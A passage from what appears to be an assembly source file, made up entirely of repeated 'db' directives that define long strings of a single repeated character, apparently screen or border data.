'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 